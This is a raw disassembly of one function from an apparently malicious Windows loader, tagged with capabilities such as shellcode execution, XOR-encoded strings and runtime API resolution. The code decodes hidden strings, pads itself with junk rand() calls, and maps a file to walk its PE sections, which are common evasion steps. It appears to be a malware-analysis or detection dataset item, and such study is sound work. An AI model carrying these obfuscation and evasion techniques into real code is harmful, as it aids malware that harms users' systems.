Function at 0x1400021b0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0xde8
lea rbp, [rsp + 0x80]
movdqa xmmword [rbp + 0xd50], xmm6
call fcn.140004510
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe1
je 0x1400021f0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x82
je 0x140002200
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or esi, esi
mov r14d, 0x31
mov ebx, 0x9a
mov ecx, 0x9a
cmove ecx, r14d
movd xmm0, ecx
xor cl, 0xf1
mov byte [rax], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c110]
movdqa xmmword [rbp + 0xbb0], xmm0
movzx ecx, byte [rbp + 0xbb2]
movzx edx, byte [rbp + 0xbb3]
mov byte [rax + 1], cl
movq qword [rax + 2], xmm0
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
mov r15, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
nop
push rax
pop rcx
call r15
nop
push rax
pop rsi
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xc
call sub.msvcrt.dll_malloc
or edi, edi
mov ecx, 0x9a
cmove ecx, r14d
mov edx, ecx
xor dl, 0xed
mov byte [rax], dl
mov edx, ecx
xor dl, 0xf3
mov byte [rax + 1], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c120]
mov byte [rax + 3], dl
movdqa xmmword [rbp + 0xad0], xmm0
movzx edx, byte [rbp + 0xad0]
mov byte [rax + 2], dl
movd dword [rax + 4], xmm0
mov edx, ecx
xor dl, 0xfe
mov byte [rax + 8], dl
xor cl, 0xf6
mov byte [rax + 9], cl
mov byte [rax + 0xa], cl
mov byte [rax + 0xb], 0
push rax
nop
pop rcx
call r15
mov r15, rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x13
call sub.msvcrt.dll_malloc
or edi, edi
cmove ebx, r14d
movd xmm0, ebx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c130]
movq qword [rax], xmm0
movdqa xmmword [rbp + 0xba0], xmm0
movzx ecx, byte [rbp + 0xba1]
movzx edx, byte [rbp + 0xba7]
mov byte [rax + 8], cl
mov r8d, ebx
xor r8b, 0xdc
mov byte [rax + 9], r8b
mov r8d, ebx
xor r8b, 0xf3
mov byte [rax + 0xa], r8b
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], cl
mov edx, ebx
xor dl, 0xd4
mov byte [rax + 0xd], dl
mov edx, ebx
xor dl, 0xfb
mov byte [rax + 0xe], dl
mov edx, ebx
xor dl, 0xf7
mov byte [rax + 0xf], dl
mov byte [rax + 0x10], cl
xor bl, 0xdb
mov byte [rax + 0x11], bl
mov byte [rax + 0x12], 0
push rsi
pop rcx
nop
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc70], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc2
je 0x1400023f0
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or edi, edi
mov ecx, 0x31
mov edx, 0x9a
cmove edx, ecx
mov ecx, edx
xor cl, 0xdd
mov byte [rax], cl
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c140]
movdqa xmmword [rbp + 0xbc0], xmm0
movzx ecx, byte [rbp + 0xbc1]
movzx r8d, byte [rbp + 0xbc6]
mov byte [rax + 1], cl
mov byte [rax + 2], r8b
movq qword [rax + 3], xmm0
xor dl, 0xdb
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
push rsi
nop
pop rcx
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc78], rax
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x2f
je 0x140002480
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf8
je 0x140002490
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xa
call sub.msvcrt.dll_malloc
or edi, edi
mov ecx, 0x31
mov edx, 0x9a
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c150]
movq qword [rax], xmm0
xor dl, 0xdb
mov byte [rax + 8], dl
mov byte [rax + 9], 0
push rsi
pop rcx
nop
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xce8], rax
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x70
je 0x140002510
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x7f
je 0x140002520
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xd0
je 0x140002530
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf9
je 0x140002550
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0x9a
cmove ecx, edx
mov edx, ecx
xor dl, 0xd9
mov byte [rax], dl
mov edx, ecx
xor dl, 0xe8
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c160]
mov byte [rax + 1], dl
movdqa xmmword [rbp + 0xae0], xmm0
movzx r8d, byte [rbp + 0xae2]
mov byte [rax + 2], r8b
movd dword [rax + 3], xmm0
mov byte [rax + 7], dl
mov edx, ecx
xor dl, 0xf5
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xf9
mov byte [rax + 9], dl
mov byte [rax + 0xa], r8b
mov edx, ecx
xor dl, 0xe9
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], dl
xor cl, 0xdb
mov byte [rax + 0xd], cl
mov byte [rax + 0xe], 0
push rsi
nop
pop rcx
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r13, rax
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x34
je 0x140002600
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xed
je 0x140002640
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x14
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0x9a
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c170]
pxor xmm1, xmm0
movq qword [rax], xmm1
movdqa xmmword [rbp + 0xbd0], xmm1
movzx edx, byte [rbp + 0xbd2]
movzx r8d, byte [rbp + 0xbd3]
mov byte [rax + 8], dl
pxor xmm0, xmmword [0x14000c180]
movd dword [rax + 9], xmm0
mov edx, ecx
xor dl, 0xd5
mov byte [rax + 0xd], dl
mov edx, ecx
xor dl, 0xf8
mov byte [rax + 0xe], dl
mov edx, ecx
xor dl, 0xf0
mov byte [rax + 0xf], dl
movdqa xmmword [rbp + 0xaf0], xmm0
movzx edx, byte [rbp + 0xaf3]
mov byte [rax + 0x10], dl
xor cl, 0xf9
mov byte [rax + 0x11], cl
mov byte [rax + 0x12], r8b
mov byte [rax + 0x13], 0
nop
push rsi
pop rcx
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa2
je 0x140002710
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xfa
je 0x140002720
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xc
call sub.msvcrt.dll_malloc
or edi, edi
mov ecx, 0x31
mov edx, 0x9a
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c190]
movq qword [rax], xmm0
xor dl, 0xfe
mov byte [rax + 8], dl
movdqa xmmword [rbp + 0xbe0], xmm0
movzx ecx, byte [rbp + 0xbe1]
movzx edx, byte [rbp + 0xbe4]
mov byte [rax + 9], cl
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], 0
push rsi
pop rcx
nop
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xce0], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x27
je 0x1400027c0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x27
je 0x1400027e0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or edi, edi
mov ecx, 0x31
mov edx, 0x9a
cmove edx, ecx
movd xmm0, edx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1a0]
movq qword [rax], xmm0
movdqa xmmword [rbp + 0xbf0], xmm0
movzx ecx, byte [rbp + 0xbf2]
movzx r8d, byte [rbp + 0xbf3]
mov byte [rax + 8], cl
mov ecx, edx
xor cl, 0xf5
mov byte [rax + 9], cl
mov byte [rax + 0xa], r8b
mov ecx, edx
not cl
mov byte [rax + 0xb], cl
xor dl, 0xf9
mov byte [rax + 0xc], dl
mov byte [rax + 0xd], r8b
mov byte [rax + 0xe], 0
nop
push rsi
pop rcx
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xca0], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop
call sub.msvcrt.dll_rand
cmp eax, 0x5a
je 0x1400028a0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xbb
je 0x1400028b0
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0x9a
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1b0]
movq qword [rax], xmm0
mov edx, ecx
xor dl, 0xdc
mov byte [rax + 8], dl
mov edx, ecx
xor dl, 0xf5
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0xe8
mov byte [rax + 0xa], dl
movdqa xmmword [rbp + 0xcf0], xmm0
movzx edx, byte [rbp + 0xcf3]
movzx r8d, byte [rbp + 0xcf5]
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], r8b
movzx edx, byte [rbp + 0xcf6]
mov byte [rax + 0xd], dl
mov edx, ecx
xor dl, 0xe9
mov byte [rax + 0xe], dl
xor cl, 0xdb
mov byte [rax + 0xf], cl
mov byte [rax + 0x10], 0
push rsi
nop
pop rcx
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x40
je 0x140002970
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xf
call sub.msvcrt.dll_malloc
or edi, edi
mov r12d, 0x31
mov ebx, 0x9a
mov ecx, 0x9a
cmove ecx, r12d
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
movdqa xmm1, xmmword [0x14000c1c0]
pxor xmm1, xmm0
movq qword [rax], xmm1
movdqa xmmword [rbp + 0xb10], xmm1
movzx ecx, byte [rbp + 0xb16]
mov byte [rax + 8], cl
mov byte [rax + 9], cl
pxor xmm0, xmmword [0x14000c1d0]
movd dword [rax + 0xa], xmm0
mov byte [rax + 0xe], 0
mov r14, qword [sym.imp.KERNEL32.dll_GetProcAddress]
push rsi
nop
pop rcx
push rax
nop
pop rdx
call r14
mov qword [rbp + 0xc80], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0x13
call sub.msvcrt.dll_malloc
or edi, edi
cmove ebx, r12d
movd xmm0, ebx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1e0]
movd dword [rax], xmm0
mov ecx, ebx
not cl
mov byte [rax + 4], cl
mov edx, ebx
xor dl, 0xca
mov byte [rax + 5], dl
movdqa xmmword [rbp + 0xb00], xmm0
movzx edx, byte [rbp + 0xb01]
mov byte [rax + 6], dl
mov r8d, ebx
xor r8b, 0xf5
mov byte [rax + 7], r8b
mov r9d, ebx
xor r9b, 0xf9
mov byte [rax + 8], r9b
mov byte [rax + 9], cl
mov r9d, ebx
xor r9b, 0xe9
mov byte [rax + 0xa], r9b
mov byte [rax + 0xb], r9b
mov r9d, ebx
xor r9b, 0xd7
mov byte [rax + 0xc], r9b
mov byte [rax + 0xd], cl
mov ecx, ebx
xor cl, 0xf7
mov byte [rax + 0xe], cl
mov byte [rax + 0xf], r8b
mov byte [rax + 0x10], dl
xor bl, 0xe3
mov byte [rax + 0x11], bl
mov byte [rax + 0x12], 0
nop
push rsi
pop rcx
nop
push rax
pop rdx
call r14
mov qword [rbp + 0xc88], rax
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc2
je 0x140002ad0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x54
je 0x140002ae0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xc4
je 0x140002af0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x34
je 0x140002b00
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0x9a
cmove ecx, edx
mov edx, ecx
xor dl, 0xcb
mov byte [rax], dl
mov edx, ecx
xor dl, 0xef
mov byte [rax + 1], dl
mov byte [rax + 3], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c1f0]
movdqa xmmword [rbp + 0xb20], xmm0
movzx edx, byte [rbp + 0xb22]
mov byte [rax + 2], dl
mov byte [rax + 4], dl
movd dword [rax + 5], xmm0
mov edx, ecx
xor dl, 0xdb
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0xca
mov byte [rax + 0xa], dl
xor cl, 0xd9
mov byte [rax + 0xb], cl
mov byte [rax + 0xc], 0
push rsi
pop rcx
nop
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc90], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x7a
je 0x140002bd0
call sub.msvcrt.dll_rand
mov edi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or edi, edi
mov edx, 0x31
mov ecx, 0x9a
cmove ecx, edx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c200]
movd dword [rax], xmm0
mov edx, ecx
xor dl, 0xf7
mov byte [rax + 4], dl
movdqa xmmword [rbp + 0xb30], xmm0
movzx edx, byte [rbp + 0xb31]
mov byte [rax + 5], dl
mov r8d, ecx
xor r8b, 0xce
mov byte [rax + 6], r8b
mov r8d, ecx
xor r8b, 0xf2
mov byte [rax + 7], r8b
mov r8d, ecx
xor r8b, 0xe8
mov byte [rax + 8], r8b
mov byte [rax + 9], dl
mov edx, ecx
xor dl, 0xfb
mov byte [rax + 0xa], dl
xor cl, 0xfe
mov byte [rax + 0xb], cl
mov byte [rax + 0xc], 0
push rsi
pop rcx
nop
push rax
nop
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc98], rax
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xad
je 0x140002c80
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xbf
je 0x140002c90
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x34
je 0x140002cb0
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x54
je 0x140002cc0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xe
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0x9a
cmove ecx, edx
mov edx, ecx
xor dl, 0xd3
mov byte [rax], dl
mov edx, ecx
xor dl, 0xf4
mov byte [rax + 1], dl
mov r8d, ecx
xor r8b, 0xee
mov byte [rax + 2], r8b
mov r9d, ecx
not r9b
mov byte [rax + 3], r9b
mov r10d, ecx
xor r10b, 0xe8
mov byte [rax + 4], r10b
mov byte [rax + 5], dl
mov byte [rax + 6], r9b
mov byte [rax + 7], r8b
mov r8d, ecx
xor r8b, 0xd5
mov byte [rax + 8], r8b
mov r8d, ecx
xor r8b, 0xea
mov byte [rax + 9], r8b
mov byte [rax + 0xa], r9b
mov byte [rax + 0xb], dl
xor cl, 0xdb
mov byte [rax + 0xc], cl
mov byte [rax + 0xd], 0
mov rcx, r15
nop
push rax
pop rdx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xcb0], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x91
je 0x140002d80
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0x9a
cmove ecx, edx
mov edx, ecx
xor dl, 0xd3
mov byte [rax], dl
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c210]
movdqa xmmword [rbp + 0xb40], xmm0
movzx edx, word [rbp + 0xb43]
rol dx, 8
pxor xmm1, xmm1
movdqa xmm2, xmm0
punpcklbw xmm2, xmm1
pshuflw xmm1, xmm2, 0xec
pshufhw xmm1, xmm1, 0xe8
pshufd xmm1, xmm1, 0xe8
pshuflw xmm1, xmm1, 0xd2
packuswb xmm1, xmm1
movd dword [rax + 1], xmm1
mov word [rax + 5], dx
movq qword [rax + 7], xmm0
xor cl, 0xdb
mov byte [rax + 0xf], cl
mov byte [rax + 0x10], 0
mov rcx, r15
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xcb8], rax
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x38
je 0x140002e50
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xe8
je 0x140002e70
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa7
je 0x140002e80
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x2d
je 0x140002e90
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x11
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0x9a
cmove edx, ecx
mov ecx, edx
mov r8d, edx
movd xmm0, edx
xor dl, 0xd3
mov byte [rax], dl
xor cl, 0xf4
mov byte [rax + 1], cl
xor r8b, 0xe8
mov byte [rax + 4], r8b
mov byte [rax + 5], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c220]
movdqa xmmword [rbp + 0xc00], xmm0
movzx ecx, byte [rbp + 0xc00]
movzx edx, byte [rbp + 0xc02]
mov byte [rax + 2], cl
mov byte [rax + 3], dl
mov byte [rax + 6], dl
movq qword [rax + 7], xmm0
mov byte [rax + 0xf], dl
mov byte [rax + 0x10], 0
mov rcx, r15
push rax
pop rdx
nop
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
nop
push rax
pop rbx
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x85
je 0x140002f30
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
nop
push rax
pop rdi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xf3
je 0x140002f50
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
movdqa xmmword [rbp + 0xb80], xmm0
mov qword [rbp + 0xb90], 0
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xac
je 0x140002fa0
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0xd
call sub.msvcrt.dll_malloc
or esi, esi
mov ecx, 0x31
mov edx, 0x9a
cmove edx, ecx
movd xmm0, edx
mov ecx, edx
xor cl, 0xf1
mov byte [rax], cl
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c110]
movdqa xmmword [rbp + 0xc10], xmm0
movzx ecx, byte [rbp + 0xc12]
movzx edx, byte [rbp + 0xc13]
mov byte [rax + 1], cl
movq qword [rax + 2], xmm0
mov byte [rax + 0xa], dl
mov byte [rax + 0xb], dl
mov byte [rax + 0xc], 0
nop
push rax
pop rcx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
nop
push rax
pop rsi
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x27
je 0x140003020
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 8
je 0x140003050
lea r8, [rbp + 0xb80]
mov qword [rbp + 0xcc8], rdi
push rdi
pop rcx
nop
push rsi
nop
pop rdx
mov r9d, 0x18
call sub.KERNEL32.dll_K32GetModuleInformation
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov rdi, qword [rbp + 0xb80]
nop
call sub.msvcrt.dll_rand
cmp eax, 0xd2
je 0x1400030a0
mov qword [rbp + 0xcc0], rsi
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x6c
je 0x1400030c0
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov esi, eax
mov ecx, 0x24
call sub.msvcrt.dll_malloc
or esi, esi
mov edx, 0x31
mov ecx, 0x9a
cmove ecx, edx
mov edx, ecx
xor dl, 0xf9
mov byte [rax], dl
mov edx, ecx
xor dl, 0xa0
mov byte [rax + 1], dl
mov r9d, ecx
xor r9b, 0xed
mov byte [rax + 4], r9b
mov edx, ecx
xor dl, 0xf3
mov byte [rax + 5], dl
mov r8d, ecx
xor r8b, 0xf4
mov byte [rax + 6], r8b
mov edx, ecx
xor dl, 0xfe
mov byte [rax + 7], dl
mov r10d, ecx
xor r10b, 0xf5
mov byte [rax + 8], r10b
mov byte [rax + 9], r9b
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmmword [0x14000c230]
movdqa xmmword [rbp + 0xd00], xmm0
movzx r9d, byte [rbp + 0xd07]
mov byte [rax + 2], r9b
mov byte [rax + 3], r9b
pxor xmm1, xmm1
movdqa xmm2, xmm0
punpcklbw xmm2, xmm1
pshufd xmm1, xmm2, 0xec
pshuflw xmm1, xmm1, 0x7d
packuswb xmm1, xmm1
movd dword [rax + 0xa], xmm1
movq qword [rax + 0xe], xmm0
mov byte [rax + 0x16], r9b
mov r9d, ecx
xor r9b, 0xf1
mov byte [rax + 0x17], r9b
movzx r9d, byte [rbp + 0xd03]
mov byte [rax + 0x18], r9b
mov r10d, ecx
xor r10b, 0xe8
mov byte [rax + 0x19], r10b
mov byte [rax + 0x1a], r8b
mov byte [rax + 0x1b], r9b
mov r8d, ecx
xor r8b, 0xf6
mov byte [rax + 0x1c], r8b
movzx r9d, word [rbp + 0xd05]
mov word [rax + 0x1d], r9w
xor cl, 0xb4
mov byte [rax + 0x1f], cl
mov byte [rax + 0x20], dl
mov byte [rax + 0x21], r8b
mov byte [rax + 0x22], r8b
mov byte [rax + 0x23], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
push rax
pop rcx
nop
mov edx, 0x80000000
mov r8d, 1
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov qword [rbp + 0xcd8], rax
push rax
nop
pop rcx
sub edx, edx
mov r8d, 0x1000002
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
push rax
pop rsi
nop
nop dword [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x92
je 0x140003250
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
call sub.msvcrt.dll_rand
mov qword [rsp + 0x20], 0
push rsi
nop
pop rcx
mov edx, 4
sub r8d, r8d
sub r9d, r9d
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbp + 0xc60], rax
nop
call sub.msvcrt.dll_rand
cmp eax, 0x75
je 0x140003290
nop word [rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0xa6
je 0x1400032a0
mov qword [rbp + 0xcd0], rsi
mov qword [rbp + 0xca8], rbx
mov qword [rbp + 0xc68], r13
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x4e
je 0x1400032d0
movsxd r14, dword [rdi + 0x3c]
cmp word [r14 + rdi + 6], 0
je 0x14000347f
add r14, rdi
lea r15, [r14 + 0x18]
sub esi, esi
mov r12d, 0x31
movdqa xmm6, xmmword [0x14000c240]
jmp 0x140003321
inc rsi
movzx eax, word [r14 + 6]
cmp rsi, rax
jae 0x14000347f
movzx eax, word [r14 + 0x14]
lea rcx, [rsi + rsi*4]
lea r13, [r15 + rcx*8]
add r13, rax
nop word cs:[rax + rax]
call sub.msvcrt.dll_rand
cmp eax, 0x77
je 0x140003340
call sub.msvcrt.dll_rand
mov ebx, eax
mov ecx, 6
call sub.msvcrt.dll_malloc
or ebx, ebx
mov ecx, 0x9a
cmove ecx, r12d
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pxor xmm0, xmm6
movd dword [rax], xmm0
movdqa xmmword [rbp + 0xb50], xmm0
movzx ecx, byte [rbp + 0xb51]
mov byte [rax + 4], cl
mov byte [rax + 5], 0
mov rcx, r13
nop
push rax
pop rdx
call sub.msvcrt.dll_strcmp
or eax, eax
jne 0x140003310
mov dword [rbp + 0x3d0], 0
nop
call sub.msvcrt.dll_rand
cmp eax, 0xe4
je 0x1400033b0
nop dword [rax]
call sub.msvcrt.dll_rand
cmp eax, 0x4a
je 0x1400033c0
